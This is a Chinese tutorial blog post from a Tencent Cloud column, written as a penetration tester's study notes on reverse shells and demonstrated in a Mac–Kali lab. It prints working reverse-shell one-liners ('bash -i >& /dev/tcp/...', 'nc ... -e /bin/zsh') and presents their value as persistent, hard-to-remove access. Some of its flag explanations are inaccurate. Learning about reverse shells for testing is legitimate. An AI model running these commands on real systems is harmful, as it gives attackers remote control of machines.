前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【学习笔记】反弹shell命令学习笔记,实战指南,1v1攻击测试教学,常用的反弹shell命令: bash -i >& /dev/tcp/vps的ip/vps的端口 0>&1

【学习笔记】反弹shell命令学习笔记,实战指南,1v1攻击测试教学,常用的反弹shell命令: bash -i >& /dev/tcp/vps的ip/vps的端口 0>&1

作者头像
wjl110
发布2022-04-10 12:45:08
2K0
发布2022-04-10 12:45:08
举报
文章被收录于专栏:互联网技术专栏

前言

为何给靶机发送这条执行命令就会自动连接到本地计算机,并且出发实时通讯机制(ps:有点类似oicq,前生就是用的这种模式开发的即时通讯)

作为渗透测试人员必备技能,反弹shell到底是什么原理,以及如何使用,本文是自己学习shell命令时的个人感悟和笔记,文章内容大量引入了较为官方的语言,给入门渗透学习的人员提供一个参考1


更容易阅读的版本在这里,点击传送


常用的反弹shell命令: bash -i >& /dev/tcp/vps的ip/vps的端口 0>&1

何为shell

Shell 脚本(shell script),是一种为 shell 编写的脚本程序。

如何执行

有一个能编写代码的文本编辑器和一个能解释执行的脚本解释器就可以执行

shell种类

linux

代码语言:javascript
复制
Bourne Shell(/usr/bin/sh或/bin/sh)
Bourne Again Shell(/bin/bash)
C Shell(/usr/bin/csh)
K Shell(/usr/bin/ksh)
Shell for Root(/sbin/sh)..

Mac

代码语言:javascript
复制
bash
zsh
..

Windows

代码语言:javascript
复制
PowerShell
Cmd
..

bash与sh

bash对sh兼容,是各种Linux发行版标准配置的Shell

何为反弹shell:

:::tip

  • 让靶机主动执行连接我们本地机器的命令
  • 优点:
  • 靶机更换ip后依然不会丢失权限
  • 连接方便、操作简单
  • 相较于传统后门不易被清理等优势; :::

正向shell

可以理解为q1给q2打电话,q2接电话,完成信息接通

反弹shell

可以理解为q1给q2打电话,q2把q1的电话号码保存下来,然后重新呼叫了q1

linux反弹shell

nc(NetCat)

可实现任意TCP/UDP端口的侦听

安装nc(发行版linux默认已安装)

命令:

代码语言:javascript
复制
yum install nc -y

使用方法

代码语言:javascript
复制
nc -lvp 4444 
# -lvp (l监听v输出p端口)

实战

靶机执行:

代码语言:javascript
复制
bash -i >& /dev/tcp/192.168.0.10/4444 0>&1
# bash -i  启动交互式命令bash 
# -i       将输出重定向到文件
# /dev/tcp 靶机为Linux的设备/dev/tcp连接程序启动socket(Linux系统:所有程序都是目录文件)
# 192.168.0.10/4444 连接的ip和端口(即本地计算机)
# 0>&1     远程的输入和输出(消息呈现方式为远程)

命令

解释

bash -i

启动交互式命令bash

-i

将输出重定向到文件

/dev/tcp

靶机为Linux的设备/dev/tcp连接程序启动socket(Linux系统:所有程序都是目录文件)

192.168.0.10/4444

连接的ip和端口(即本地计算机)

0>&1

远程的输入和输出(消息呈现方式为远程)

实战时注意

:::warning Mac监听端没有nc -lvp port此命令 只有nc -lv port :::

实战中,我拿Mac和kali-linux进行测试

查看Mac和Linux的ip命令:

代码语言:javascript
复制
sudo su
ifconfig

kali的ip:10.211.55.4

Mac的ip:10.37.129.2

正向连接- Mac连接kali

1.kali启动监听:(先启动监听,否则拒绝连接)

代码语言:javascript
复制
sudo su
nc -lv 7777

Mac执行:

代码语言:javascript
复制
sudo su
zsh -i > /dev/tcp/mac监听ip/mac监听端口
(ls,pwd,whoami,cd /tmp,)

此时Mac终端执行者已经变为kali的root用户

尝试发送信息(Mac->kali)

代码语言:javascript
复制
whoami

kali机:监听端口并且实时回显信息

尝试在kali上执行命令

代码语言:javascript
复制
pwd

可以看到Mac上并无信息

因为此时为单方通信,即Mac的信息呈现在kali

反弹shell

shell:Mac->(攻击)kali

Mac开启监听

代码语言:javascript
复制
nc -lv 7777

kali开启shell

代码语言:javascript
复制
nc 10.211.55.2(Mac:ip) 7777 -e /bin/zsh(zsh或者bash) 

ps:模拟渗透测试时通过某个途径将shell命令发送到了kali机器并成功执行

此时在Mac(攻击机)上执行命令:

代码语言:javascript
复制
whoami

可以看到Mac机成功执行命令,并且反弹回相关信息

再看看kali机

并无任何显示

反弹shell:linux——>(攻击)kali kali开启监听

代码语言:javascript
复制
nc -lvnp 7777

Mac被攻击,执行了shell命令:

代码语言:javascript
复制
bash -i >& /dev/tcp/10.211.55.4(kali)/7777 0>&1

此时kali已经有回显信息了,并且连接成功为bash

在kali上执行命令,成功回显

Mac不能执行主动终结命令,权限属于kali机

以上就是我对反弹shell的理解和感受,欢迎留言 写作耗时约2h@(。・o・)@

  1. https://blog.csdn.net/qq_37092496/article/details/122931617 ↩︎
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022/03/15 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 何为shell
  • 如何执行
  • shell种类
    • linux
      • Mac
        • Windows
          • bash与sh
            • 何为反弹shell:
              • 正向shell
              • 反弹shell
          • linux反弹shell
            • nc(NetCat)
              • 安装nc(发行版linux默认已安装)
              • 使用方法
              • 实战时注意
              • 实战中,我拿Mac和kali-linux进行测试
          • 实战
          • 反弹shell
          相关产品与服务
          网站渗透测试
          网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档